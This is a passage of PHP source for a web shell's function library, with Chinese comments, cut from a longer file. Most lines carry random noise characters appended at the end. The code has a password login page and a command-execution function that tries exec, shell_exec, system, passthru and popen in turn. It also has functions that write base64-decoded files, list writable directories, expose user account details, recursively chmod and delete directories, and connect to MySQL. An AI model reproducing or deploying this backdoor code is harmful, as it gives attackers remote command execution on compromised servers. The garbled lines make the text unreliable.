  1323. ! h3 i, ?. [( s- M# S
  1324. <?php9 y+ |9 a5 K' s# _- j
  1325. % q' r* x9 h; a
  1326. /*======================================================
    2 M/ {* @9 P( [3 e
  1327. 函数库/ g7 [# m0 r9 {+ V" U$ {
  1328. ======================================================*/: S" l, Z1 e2 M! w
  1329. ) z9 H" X, q% t8 c
  1330. function m($msg) {
    : p9 x: m. i6 L  }! ^1 `
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';$ r. @! a, B2 z& H/ D
  1332.         echo $msg;
    , C& z( X' r! h$ r0 L3 ]8 r
  1333.         echo '</div>';
    - _  V  ]7 R' C! u, ~/ |3 r
  1334. }8 |: A% ^+ w4 H, k, \! ?
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    5 f# ], d3 O; n
  1336.         global $admin, $timestamp, $_SERVER;' C0 r5 I3 U0 \7 P6 @. I9 v
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    ; w/ M- X9 M. R4 Q6 A
  1338.         $life = $life ? $life : $admin['cookielife'];; S! u5 t) K6 ~" p
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;9 B& g; \4 C& A/ L  X6 r# v# p
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    5 Q' l+ F/ f0 O9 N. i
  1341. }        : b: A5 M  \' s/ `2 A3 E. W  S2 i
  1342. function multi($num, $perpage, $curpage, $tablename) {4 P+ n, b2 B% |3 n* h0 y( a  X
  1343.         $multipage = '';
    % Q' U6 V' L$ u7 s
  1344.         if($num > $perpage) {- q  L' W) v8 m4 s6 b, s
  1345.                 $page = 10;. b* s9 Z. Q) l! L( K
  1346.                 $offset = 5;2 \% s8 E: i" P7 K* R9 ]& f
  1347.                 $pages = @ceil($num / $perpage);! u# H. H: A/ a6 \
  1348.                 if($page > $pages) {& ^2 I. y' r; {4 i7 C
  1349.                         $from = 1;
    # x  E2 b+ D) G' O$ b1 x
  1350.                         $to = $pages;
      f9 J5 W: p; |  S# A: {  b# z
  1351.                 } else {2 V+ l9 F) J% J- z
  1352.                         $from = $curpage - $offset;0 _' q- j& s3 c
  1353.                         $to = $curpage + $page - $offset - 1;: R4 o* d9 l: Q
  1354.                         if($from < 1) {6 {) K0 e1 ?0 X5 h
  1355.                                 $to = $curpage + 1 - $from;- A: f6 d9 e$ e- t. `4 s
  1356.                                 $from = 1;
    5 A3 a& O' X0 o, G4 m9 }/ B
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {/ T% Z7 n8 \, k7 U" j
  1358.                                         $to = $page;! p5 D  @. h, F8 y+ f% J5 X! e* @
  1359.                                 }6 p  j# L" H" q. s
  1360.                         } elseif($to > $pages) {
    . {% Q  K. }1 |& s) J9 {/ x
  1361.                                 $from = $curpage - $pages + $to;" b' B2 o7 a5 {# G( {
  1362.                                 $to = $pages;
    - n- }5 u- v+ P3 b6 g
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {4 Q8 f' w& M% p/ w5 Q, S$ B: i
  1364.                                         $from = $pages - $page + 1;
    5 y9 C: |7 V* x( n
  1365.                                 }8 W. P& H: q9 x* d9 X9 A: J; x
  1366.                         }8 P# J/ p0 o7 [' `' [0 z$ `
  1367.                 }
    3 z% s: b" b, z! Q' A$ r* P  v* d
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');6 g% v/ U7 f5 W' D& N
  1369.                 for($i = $from; $i <= $to; $i++) {2 |6 P: O2 n: ^0 l9 d
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    9 T' G7 b+ k' D5 D) [
  1371.                 }
    6 P9 W# R2 K2 A/ B5 a
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
    $ j3 S" o5 n+ {2 h* d* P/ R
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    . p. {# ?, T8 q: `4 s3 u
  1374.         }
    3 \3 M1 n( ]" H  s( B! L* d- `
  1375.         return $multipage;( a5 a/ q- q* T  j% p5 n6 }5 q
  1376. }$ d0 R% ]1 z+ h) i  c- S; Z
  1377. // 登陆入口
    . x: u% E! `# F# l& F
  1378. function loginpage() {. v8 U: J! `+ {2 {" o
  1379. ?>
    4 B$ q$ A' F/ }1 j7 f7 `
  1380.         <style type="text/css">
    " B7 h  a& U% u
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}% }3 l2 `4 |7 |
  1382.         </style># K( D: y, M+ H
  1383.         <form method="POST" action="">7 `: L+ q: J, y; V! F, M) r+ e, ?
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">: m$ d4 ?1 O1 \% {
  1385.         <input type="hidden" name="doing" value="login">
    4 U$ Q# s: t: v9 }0 N* }
  1386.         <input type="submit" value="Login">
    ! Q: O1 P  k( K* o: d8 o5 X
  1387.         </form>
    ( C5 D% ~9 b/ e- A" c( Z2 ?$ `: L
  1388. <?php! y, Z# Y6 [. \3 ~3 H* W
  1389.         exit;3 B+ R" {5 f1 g8 E
  1390. }//end loginpage()4 m, B8 Q* L) f7 s5 B) N  S
  1391. " t: I8 R* ~! i/ j1 e, W
  1392. function execute($cfe) {
    ) L  [) K5 C" q+ v
  1393.         $res = '';
    % `, v0 Z( l8 x
  1394.         if ($cfe) {, i4 \& y' H( `1 J- s- B" W
  1395.                 if(function_exists('exec')) {
    4 M* @3 t8 M, Z; M5 X. z
  1396.                         @exec($cfe,$res);
    7 W+ [: b& S& k. Y! |
  1397.                         $res = join("\n",$res);9 @9 U5 J$ E; B( d* Z
  1398.                 } elseif(function_exists('shell_exec')) {
    ; C) c# q& A  _4 L# _& ]4 I
  1399.                         $res = @shell_exec($cfe);" L9 ^7 m" K% S: \( S
  1400.                 } elseif(function_exists('system')) {
    . ~$ E- S1 L7 H  O
  1401.                         @ob_start();
    7 B8 |9 n" D9 v% m5 l0 J
  1402.                         @system($cfe);
    & T% O2 t; k6 r7 I$ a& j9 c( h/ v
  1403.                         $res = @ob_get_contents();
    / Y* S3 h' L  c0 a7 C& b
  1404.                         @ob_end_clean();
    5 T' E# u% g: O- G# `1 j* g
  1405.                 } elseif(function_exists('passthru')) {
    8 ~+ {! L+ Z3 J" V4 h2 ]. H
  1406.                         @ob_start();$ h6 C, e4 ^: N; A
  1407.                         @passthru($cfe);" y' l' j& C1 L5 e4 H. C% h
  1408.                         $res = @ob_get_contents();- |/ `/ T! |0 ]1 P: g' I' f+ k/ F
  1409.                         @ob_end_clean();
    $ x, D  Y  o5 \! e4 h2 N: p
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {; d  V4 ^% V6 B8 a7 D7 {
  1411.                         $res = '';) u  d( ~1 B1 @, N7 e2 W/ [
  1412.                         while(!@feof($f)) {
    * U8 x+ q1 Y5 f; U0 W" S/ u$ u; @
  1413.                                 $res .= @fread($f,1024);
    ) P8 L4 R( m6 h0 p* x
  1414.                         }6 N  O) H2 o# Y9 v
  1415.                         @pclose($f);
    % v6 c: q$ f' V5 K/ a
  1416.                 }7 ?! N- U6 M$ g  ^: d; t: h& \
  1417.         }
    ! _( p5 S  \6 x* R, ~
  1418.         return $res;' s$ Q+ U+ {+ A7 l4 N
  1419. }* {# n+ t6 _- F" F$ q- U: G
  1420. function which($pr) {: Z& g  q. R; W$ S# y3 R
  1421.         $path = execute("which $pr");9 }2 @* F6 s- s' t9 T& L, d% w
  1422.         return ($path ? $path : $pr);
    ( K+ F2 L# ]. z4 x' v& d+ ~
  1423. }
    % j. p; V( U1 H6 Y

  1424. & c  Q* Z* G. S& A
  1425. function cf($fname,$text){, l% V  d: O2 `0 i/ t0 i
  1426.         if($fp=@fopen($fname,'w')) {0 j; b0 O# P# K- _9 n: b, B# g
  1427.                 @fputs($fp,@base64_decode($text));' R! t; i; M% g8 f' u
  1428.                 @fclose($fp);2 h" Z% Z1 N; W/ P, X
  1429.         }
    ' G  T- w: I( \) W, X
  1430. }
    & M1 V7 j  P9 V: m" R# V* V* W
  1431. 6 m: X# ?+ y1 n* Y( _: e
  1432. // 页面调试信息" T" s7 l: M! K  l; F/ {+ Z
  1433. function debuginfo() {
    2 p1 O3 ?2 n5 E- v6 j8 `% S
  1434.         global $starttime;: A& q& m/ ^) n
  1435.         $mtime = explode(' ', microtime());% w/ ~" ]0 J  e: o# u, }
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    1 R. X/ I  w' f3 a7 t  n
  1437.         echo 'Processed in '.$totaltime.' second(s)';/ N/ J1 E. b8 q: N* Y2 K3 Q
  1438. }
    8 p* }8 n# {# _! {; Q
  1439. 9 s% ?& v) K# h- M# i
  1440. //连接数据库( }% _6 I) @8 J" `
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {6 F/ c1 p# n# h
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    ; m) ?/ z) }# h8 ^
  1443.                 p('<h2>Can not connect to MySQL server</h2>');" z: n5 @3 s* O* X) q7 }9 P+ C4 K* m
  1444.                 exit;! y1 [4 M% p$ |0 ?# B
  1445.         }' E' U1 [! ^4 r  ^/ K* Q
  1446.         if($link && $dbname) {6 s; S$ S0 s' v  Y7 z" z
  1447.                 if (!@mysql_select_db($dbname, $link)) {
    : J& S% x; n# X1 U
  1448.                         p('<h2>Database selected has error</h2>');
    2 d& S1 b, s% k6 Y$ N6 ]$ t
  1449.                         exit;
    % T1 y: _0 M7 r6 [$ Q3 A- ~
  1450.                 }! N5 C" D& c# g& u" U
  1451.         }% i" e* P; P' ~. \3 E9 W
  1452.         if($link && mysql_get_server_info() > '4.1') {
    % s2 ^7 _0 v, O
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    - ~5 N( G6 I  [, k3 G' `+ d; l
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);# t0 M0 F1 O" U8 ]1 u
  1455.                 }
    + q, }. y# t6 `9 Z5 o& M  ~% {; d5 m
  1456.         }
    9 d! m, H5 x2 Q3 W" ]' X; I
  1457.         return $link;
    ; N$ R5 k- r$ F) V; x
  1458. }
    1 @7 C8 A6 ^; E3 s4 G+ h/ P- Y9 z

  1459. . s% ^/ l) n+ f+ X* k0 u0 j6 B( n
  1460. // 去掉转义字符
    9 Z$ Q% b2 ]1 L7 k  E' p# Y
  1461. function s_array(&$array) {" s( y' y8 s2 Z/ V/ \5 F" ]
  1462.         if (is_array($array)) {3 ^- l% ^# a9 Y4 Y& H9 U
  1463.                 foreach ($array as $k => $v) {+ s  Q$ A: u8 S& Z( s% ]) l
  1464.                         $array[$k] = s_array($v);* d1 a9 U( D$ A7 C- I  h+ W
  1465.                 }' [1 J; P& V% W6 q. W: T
  1466.         } else if (is_string($array)) {" `7 G7 A) I6 Q
  1467.                 $array = stripslashes($array);
    ( q3 m+ o- k8 ^4 e% @# b  c
  1468.         }! T7 x$ {* `9 o: H* Q7 P
  1469.         return $array;; @; V, w" n+ b; c2 ]% w" f1 u
  1470. }
    ' P; @/ q9 L( G1 Z. _: }

  1471. % `( I5 {, }6 ~8 O8 G( X& L
  1472. // 清除HTML代码( m( M; o  j; w9 X$ E
  1473. function html_clean($content) {2 s8 C# I  N8 q: [8 {5 M8 }. i! o
  1474.         $content = htmlspecialchars($content);4 P7 {& W  k$ j' X
  1475.         $content = str_replace("\n", "<br />", $content);
    : `" D. P! }# ]) g6 M" y
  1476.         $content = str_replace("  ", "  ", $content);- D& w, u& I0 ^$ s" L2 w. K! b
  1477.         $content = str_replace("\t", "    ", $content);6 G6 h# M  W8 G! @
  1478.         return $content;7 Z) d6 k& E2 K6 J
  1479. }
    : d' f9 C- [# O" B) u

  1480. 1 ?7 l7 C5 S$ n' H1 R$ }
  1481. // 获取权限! p# p: t2 X6 Z; G/ u# `
  1482. function getChmod($filepath){4 D( \3 v7 P0 Q( o  z2 i" x
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);& u( q0 w  X- L$ h
  1484. }
    ' t6 I5 i( h0 I! c
  1485. 1 i1 Q) n( [3 i& m- a: c9 |$ i# R
  1486. function getPerms($filepath) {
    1 I" j6 @! ~9 i& o" K! C. c$ G
  1487.         $mode = @fileperms($filepath);1 |( v" O" a% D% F5 i% m' b
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}$ `& n* c$ H2 N% D7 z) i8 w7 A
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}0 k$ M1 ^+ Q, Z0 k5 v$ T1 q
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    4 H6 `* h: M' [3 Z: [7 d
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} $ I$ q3 J% U1 U7 b
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}$ b! @8 e( ~2 B* |7 l
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    9 a( m% d$ `/ k2 C% \1 ^
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    6 k: \* `: n3 y; s; z
  1495.         else {$type = '?';}
    0 T* F$ F1 i+ F0 a$ m3 z
  1496. - |# A" b( o# Z6 ?
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; $ Z6 R3 w1 Q. f6 c) n: G
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    4 C* }5 ?& t! [
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    9 Z5 o9 ?& N( h0 S* i$ j- f+ c0 b4 r4 S
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    , F, m& h) F: T3 o" A% j3 N
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; * A0 P. G$ E2 y# ?- H
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';   C" K0 S" f) b+ ], k
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; & r$ T2 i$ {% n* k3 h$ Z
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    3 i- l- S9 P2 ~: e8 w; C
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; 5 [7 S& ]6 t$ |% G' r( X# X
  1506. 9 R, E2 x. X% b9 S% g6 n
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}) `' D/ F; _0 B0 e( O3 E8 J6 D
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    0 h  b# U: a+ Y
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}1 i! [- w, ?: D: X
  1510. 8 O  e- V, ?7 m+ l- h$ Y8 i0 e, }
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    7 P  @. X( k6 a) I
  1512. }: G% [, ?: c$ X

  1513. * [- ]* k( P' Z( [. X5 R* S* [
  1514. function getUser($filepath)        {
    * K7 \* B, B9 c' g/ r5 |
  1515.         if (function_exists('posix_getpwuid')) {+ [! }6 i3 P2 L8 ?) o! Z5 @* t
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    5 y( e8 S' J5 [" q) d; W
  1517.                 if ($array && is_array($array)) {7 l; c6 D) W9 M$ q
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      i) r  \$ k' a" Z7 N
  1519. Passwd: '.$array['passwd'].'9 ^4 p# b4 t% I  l* A
  1520. Uid: '.$array['uid'].'
    % v/ g- o6 K! A& O7 G( m
  1521. gid: '.$array['gid'].'# x/ Q  ?/ p# h
  1522. Gecos: '.$array['gecos'].'
    ' T; o* A6 B, H' {4 M% w) k
  1523. Dir: '.$array['dir'].'
    - R5 @3 {1 s" {8 N! f
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    2 e! _0 O& O- |+ U
  1525.                 }
      N! X$ ~3 d+ q% w
  1526.         }6 D& o* r8 A; S% R8 E. z
  1527.         return '';9 i9 w/ y! r2 h
  1528. }5 u' S: O8 q, r' C& U( s6 @+ X. i
  1529. $ S$ u- j6 N) q1 i3 {: A/ u- R
  1530. // 删除目录0 u6 |5 B  G! w
  1531. function deltree($deldir) {
    9 ~" {; i  h% P! u: o
  1532.         $mydir=@dir($deldir);        % x+ U. N# P/ l2 _: c% g
  1533.         while($file=$mydir->read())        {                
    - d; G! }+ C! d
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
    + w. H0 i" h3 J" i' _2 A8 y. f
  1535.                         @chmod($deldir.'/'.$file,0777);2 n3 A( G3 T8 u) `
  1536.                         deltree($deldir.'/'.$file); 6 m. B; Y) q* b* f
  1537.                 }' A3 E; r& y' X- K& b$ d
  1538.                 if (is_file($deldir.'/'.$file)) {
    5 M. d+ W9 n- \5 Q- W
  1539.                         @chmod($deldir.'/'.$file,0777);
    ; Q+ O' B4 ?% o  V
  1540.                         @unlink($deldir.'/'.$file);; u7 ]. H) u% T9 O3 n! D7 ]
  1541.                 }: y  g" f, `: n7 ~7 C) ^; x
  1542.         } 7 _- O% b2 x2 u' Y
  1543.         $mydir->close(); " s8 H0 c8 W* W: E3 W2 ]/ k
  1544.         @chmod($deldir,0777);+ o. O1 K6 g3 m$ @, E+ W7 M! X
  1545.         return @rmdir($deldir) ? 1 : 0;
    / r' Z  \4 `2 Z, Q3 F* B6 K
  1546. }
    7 Q/ U. s/ J+ X- o
  1547. 0 s# p) }. Y6 f) d
  1548. // 表格行间的背景色替换
    / U$ Z' {4 z. M
  1549. function bg() {5 y" {8 P3 i3 G2 x7 r$ M* b
  1550.         global $bgc;9 u5 S$ F3 c4 i- k
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
    5 t( W4 X0 f& D- E( A. S4 f
  1552. }
    ; R) b( {5 P/ H; Y( F
  1553. # `0 t- H* b% q
  1554. // 获取当前的文件系统路径4 P, ?: Y" g! y0 u2 P
  1555. function getPath($scriptpath, $nowpath) {7 W: d2 m1 h# P" _
  1556.         if ($nowpath == '.') {
    4 I8 C" n: z: ]3 H5 I; M" s; C9 u0 @1 L
  1557.                 $nowpath = $scriptpath;
    : @# K! O) V7 F7 m7 s; V1 l: ]
  1558.         }8 q+ g0 b. A1 p7 o7 B* A
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    0 C! x! T4 [# |1 q
  1560.         $nowpath = str_replace('//', '/', $nowpath);. \. I, O# b; r' x5 A1 q# g# j, ]
  1561.         if (substr($nowpath, -1) != '/') {7 q* s. j# ]4 r8 e" S
  1562.                 $nowpath = $nowpath.'/';
    ' K4 D4 t0 n# x' R9 x
  1563.         }. E* }! z0 o9 C# r7 q
  1564.         return $nowpath;; e. T. ^3 Q( W' V' ?
  1565. }
    * m" E: k1 a; [* A+ j& m" w
  1566. ' E1 A/ M8 C; ^" X6 W  N/ [: V
  1567. // 获取当前目录的上级目录! \; A7 M( }" \- v( U1 C
  1568. function getUpPath($nowpath) {
    2 t+ M; x$ H: F6 _& j! X" b1 n
  1569.         $pathdb = explode('/', $nowpath);" \- n  `1 S. H( P* C, E7 @
  1570.         $num = count($pathdb);" E: y0 a# m  s( R
  1571.         if ($num > 2) {8 }9 |8 U9 `5 |5 i/ A  y1 w
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);4 i; h. ~" w+ w7 ]
  1573.         }
    ! m# E5 G& m; L" W1 \9 _
  1574.         $uppath = implode('/', $pathdb).'/';
    5 I/ b7 I, g+ y) `* Y
  1575.         $uppath = str_replace('//', '/', $uppath);
      r1 A6 p' c2 B1 k( \
  1576.         return $uppath;. g7 {: W# D! W& I+ I1 ]: u( ^
  1577. }1 f8 o) k. `- a4 q8 J
  1578.   U7 _; q9 C; I" }  c8 z+ Y9 f  ?
  1579. // 检查PHP配置参数
    3 R0 s$ u- Z2 L8 |4 c! b
  1580. function getcfg($varname) {6 n7 i; }. J# P$ T3 Z1 o
  1581.         $result = get_cfg_var($varname);
    0 P. J8 V* w# h5 ]
  1582.         if ($result == 0) {
    * [8 }0 N8 N1 t/ d
  1583.                 return 'No';# _* Y) U9 |8 C% y8 U# f
  1584.         } elseif ($result == 1) {% m, F$ I1 Z3 m( y" R) X
  1585.                 return 'Yes';
    " D! }9 o# Y# Y3 C* l- @( \7 e3 m' O
  1586.         } else {$ w9 A! h1 \  U9 O2 z: s
  1587.                 return $result;. `$ U3 Z' W. C( X7 {
  1588.         }
    2 b2 O; c6 D1 s: b' X+ }8 u+ o
  1589. }
    ( ^1 R. |. v2 g$ m- }

  1590. " V" u/ z2 {" W6 J) X; f$ l
  1591. // 检查函数情况9 K/ f$ e9 _% @, d$ o' E% _
  1592. function getfun($funName) {
    " }2 S: d$ [0 G! t/ e# O
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';) }3 l( U9 n2 K( }( ^. `* f
  1594. }
    1 P- O& R8 ?* G! x9 `

  1595. 7 f7 E3 v+ n& c3 n' x
  1596. function GetList($dir){+ {; [  V. i1 B* Q( Q
  1597.         global $dirdata,$j,$nowpath;
    , p8 G9 b7 Z% ?, l% j
  1598.         !$j && $j=1;4 }8 T2 n- W2 s' [
  1599.         if ($dh = opendir($dir)) {
    , m2 m2 v5 n' j; X5 I2 K) X& k
  1600.                 while ($file = readdir($dh)) {" o+ O% a0 L* z) ~4 j$ S
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    - L3 H  ~$ _; l4 ^. H- m7 L1 d# |
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){- W, i5 Z" f0 z9 q) x6 a
  1603.                                 if (is_writable($f)) {
    3 s& O' Q  @, L9 \/ r
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    5 ]4 R% U/ V/ W" P) A
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    1 w, u# i( f  U
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    % J- q' l0 e1 S0 `7 [! b
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);7 s. ]9 I" m. ^0 q) D' S0 g, p
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);4 H+ R0 L" t; v& X1 n; A7 H
  1609.                                         $dirdata[$j]['server_link']=$f;' u/ c* p/ ^1 ~: W6 z& k
  1610.                                         $dirdata[$j]['client_link']=ue($f);, L% X2 j. h, z9 U
  1611.                                         $j++;+ {; ^& X- y% V4 B8 H8 T0 E3 r
  1612.                                 }
    ! T; q2 v  L$ N5 a. {: _8 t
  1613.                                 GetList($f);$ w5 x; n/ ]& J( Z
  1614.                         }) S8 W' }4 [  q1 L- P* E
  1615.                 }9 `) I, O) {1 G
  1616.                 closedir($dh);
    % g6 r* x) {, ~/ G2 S
  1617.                 clearstatcache();" [0 L" j+ j# H  H7 [( V9 I" J
  1618.                 return $dirdata;
      L* D4 b- n$ J: E$ k
  1619.         } else {
    , C6 j! P) j: \1 H6 ~' p) t% Z" J# {
  1620.                 return array();
    7 M( I+ C* ~( O( ~& K% s
  1621.         }
    6 j4 B5 K1 Y4 F- e. B
  1622. }/ j1 [2 C$ s3 j( D2 z

  1623. / Y' M' F& a; F! `% z/ d
  1624. function qy($sql) { ! n# p, U+ G' a: X+ ]% x
  1625.         //echo $sql.'<br>';
    $ E$ `/ B3 D% a- d5 G9 r/ R
  1626.         $res = $error = '';
    " O8 T* ]4 ^. `3 {, v
  1627.         if(!$res = @mysql_query($sql)) {
    3 d' j8 Z2 Y2 }1 R; [& u$ @
  1628.                 return 0;; \7 M6 c! C9 Y- s
  1629.         } else if(is_resource($res)) {
    , u) I, s3 R( Y' O  @
  1630.                 return 1;
    . \$ y; V, F2 x$ P5 i. O9 m
  1631.         } else {
      V; ]& g9 w. q8 k7 d
  1632.                 return 2;
    9 U( D3 Z7 }2 _& B
  1633.         }       
    + z3 S4 V. G" E9 O3 s+ U
  1634.         return 0;  A# }( a5 y: x. x( ~; c1 L% l
  1635. }
    9 R  k! d5 y7 K* L% }6 F9 H( }' Y
  1636. ! ~: D/ J8 ~% L- L' I
  1637. function q($sql) { 0 f# B  M0 h. U7 H/ A" h" n& o
  1638.         return @mysql_query($sql);3 E8 r; ^7 q( W9 a- W+ n
  1639. }
    3 f/ H0 I2 z+ V, ~& a4 }7 t

  1640. . l7 |+ D  w0 c; `% E& E
  1641. function fr($qy){, h; n2 L' U1 C) D4 D5 M6 \3 r. e
  1642.         mysql_free_result($qy);" \" }3 F3 T3 G: T1 H1 N6 \
  1643. }- g- \% U* l; ]. h3 U1 I( x" n; D

  1644. % ^( h, Z6 a# }: m( S
  1645. function sizecount($size) {' q6 ~- j# a7 s
  1646.         if($size > 1073741824) {
    6 y1 v! F, x5 |( e) b& V
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    6 b/ b) i# d2 j% E
  1648.         } elseif($size > 1048576) {. a/ ^0 e/ |. q  T/ k( f
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';$ B: {3 p( I' {
  1650.         } elseif($size > 1024) {+ u: N: f8 z( _4 _# j
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';" o5 _% X/ Y. ^* B
  1652.         } else {+ O7 z0 a# A: ]. S$ G
  1653.                 $size = $size . ' B';* @) B$ f1 [, V( [
  1654.         }6 J$ X2 B5 W7 l: d" ?
  1655.         return $size;
    * d! W1 M3 R( u$ T
  1656. }: v5 C6 A* e+ }; l  \

  1657. % ?% I+ Y* g0 N/ i) A- Y; G
  1658. // 压缩打包类
    " N$ z' x% I5 n: Z8 X( t- l
  1659. class PHPZip{; B; ~. D& ~/ P* O) d
  1660.         var $out='';
    # u$ \  c- ]! \4 k- {
  1661.         function PHPZip($dir)        {
    & i- j& C% c- M1 g- A
  1662.                 if (@function_exists('gzcompress'))        {
    1 O; {+ D) L* q" ?; I3 T
  1663.                         $curdir = getcwd();
    7 H2 L0 ]5 i$ ]; F1 O4 G  I7 |
  1664.                         if (is_array($dir)) $filelist = $dir;
    , C! ~0 i, V6 k; ?
  1665.                         else{
    2 y' W1 f( ?9 b% D8 Q1 Z5 x
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表! j( L  ], R8 v# |1 M
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);. g9 c% L2 g& t1 k' D
  1668.                         }
      ?* k1 _% ~1 B% w6 u7 K% ?& d
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);/ l3 j! ?9 @& O- @% Y# D% M
  1670.                         else chdir($curdir);. Z+ P! [( x( d8 V+ `: G: q
  1671.                         if (count($filelist)>0){
    : N3 V- |; K' w9 Z0 d6 O& F4 H6 \
  1672.                                 foreach($filelist as $filename){; R5 w4 Q. Z: R+ N( [9 y5 x
  1673.                                         if (is_file($filename)){7 u3 i, n+ P, j3 [* A
  1674.                                                 $fd = fopen ($filename, 'r');5 P0 f. d% F+ C% B9 u- l; u
  1675.                                                 $content = @fread ($fd, filesize($filename));
    - f3 I' Q+ ~6 u; p( Q
  1676.                                                 fclose ($fd);
    % S" k% u% R" M0 l2 ]1 M; S
  1677.                                                 if (is_array($dir)) $filename = basename($filename);* Z  k9 i! G0 }' i
  1678.                                                 $this -> addFile($content, $filename);
    % F6 F1 C; E" `
  1679.                                         }
      j9 I2 m/ t# {  `
  1680.                                 }- S0 ^, {2 t9 g. T
  1681.                                 $this->out = $this -> file();
    ' ~5 g6 @9 J/ Q' b1 \
  1682.                                 chdir($curdir);" `: l3 D! ~# X. C
  1683.                         }$ J/ e1 M, d6 ~1 f4 V
  1684.                         return 1;+ [: {( U; Q# z' ^
  1685.                 }
    8 H7 o. ~* B5 X# r& h% {. h
  1686.                 else return 0;
    / @, a2 f! g7 @# G; W+ q$ @
  1687.         }
    % k+ H0 M4 h/ E: r

  1688. 7 p, P$ l  v9 V
  1689.         // 获得指定目录文件列表5 v8 l' S2 P1 F2 @0 }& F
  1690.         function GetFileList($dir){7 N; j# q- k& m5 T8 c
  1691.                 static $a;
    0 Y+ R% Y) ]( \+ ?, f' O" {- W* Y4 i% F, N' V
  1692.                 if (is_dir($dir)) {
    ; F* {) O2 }! Q4 t/ C
  1693.                         if ($dh = opendir($dir)) {' W7 v- X! F. v5 g- X) s
  1694.                                 while ($file = readdir($dh)) {
    , Q: A) j$ |0 q5 m  C3 ]
  1695.                                         if($file!='.' && $file!='..'){. o/ M# @3 b8 V! L$ U9 |0 N) i% {
  1696.                                                 $f=$dir .'/'. $file;8 s- v4 U1 R: U2 B, }
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    # s: T( s. R; a
  1698.                                                 $a[]=$f;
    # `8 ?5 D# |; A6 y' c
  1699.                                         }
    3 L  q7 k# g5 r
  1700.                                 }
    5 ]3 d0 l6 |) _+ F; y7 q
  1701.                                 closedir($dh);2 _+ R; @% v6 U! h3 c3 k
  1702.                         }4 A  T4 v3 V- J$ [$ u: A; F
  1703.                 }
    ) L9 f# D: o6 r
  1704.                 return $a;
